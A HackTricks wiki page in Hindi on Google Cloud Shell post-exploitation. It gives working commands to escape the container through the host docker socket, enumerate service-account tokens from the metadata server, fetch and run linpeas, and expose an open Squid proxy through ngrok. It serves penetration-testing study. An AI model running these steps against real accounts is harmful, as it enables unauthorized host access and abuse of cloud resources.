GCP - Cloud Shell Post Exploitation

Support HackTricks

Cloud Shell

Cloud Shell के बारे में अधिक जानकारी के लिए देखें:

Container Escape

ध्यान दें कि Google Cloud Shell एक कंटेनर के अंदर चलता है, आप आसानी से होस्ट पर भाग सकते हैं ऐसा करने के लिए:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

यह गूगल द्वारा एक कमजोरियों के रूप में नहीं माना जाता है, लेकिन यह आपको उस वातावरण में हो रही घटनाओं का व्यापक दृष्टिकोण देता है।

इसके अलावा, ध्यान दें कि होस्ट से आप एक सेवा खाता टोकन पा सकते हैं:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

निम्नलिखित स्कोप के साथ:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

LinPEAS के साथ मेटाडेटा की गणना करें:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

https://github.com/carlospolop/bf_my_gcp_permissions का उपयोग करने के बाद सेवा खाता के टोकन के साथ कोई अनुमति नहीं मिली...

इसे प्रॉक्सी के रूप में उपयोग करें

यदि आप अपने गूगल क्लाउड शेल इंस्टेंस का प्रॉक्सी के रूप में उपयोग करना चाहते हैं, तो आपको निम्नलिखित कमांड चलाने की आवश्यकता है (या उन्हें .bashrc फ़ाइल में डालें):

sudo apt install -y squid

बस आपको बताने के लिए कि Squid एक http प्रॉक्सी सर्वर है। एक squid.conf फ़ाइल निम्नलिखित सेटिंग्स के साथ बनाएं:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

squid.conf फ़ाइल को /etc/squid में कॉपी करें

sudo cp squid.conf /etc/squid

अंत में स्क्विड सेवा चलाएँ:

sudo service squid start

ngrok का उपयोग करें ताकि प्रॉक्सी बाहर से उपलब्ध हो सके:

./ngrok tcp 3128

tcp:// यूआरएल चलाने के बाद कॉपी करें। यदि आप ब्राउज़र से प्रॉक्सी चलाना चाहते हैं, तो tcp:// भाग और पोर्ट को हटा देना और अपने ब्राउज़र प्रॉक्सी सेटिंग्स के पोर्ट फ़ील्ड में पोर्ट डालना सुझावित है (squid एक http प्रॉक्सी सर्वर है)।

शुरुआत में बेहतर उपयोग के लिए .bashrc फ़ाइल में निम्नलिखित पंक्तियाँ होनी चाहिए:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

The instructions were copied from https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. उस पृष्ठ पर Cloud Shell में किसी भी प्रकार的软件 (डेटाबेस और यहां तक कि विंडोज) चलाने के लिए अन्य पागल विचारों की जांच करें।

Support HackTricks

Last updated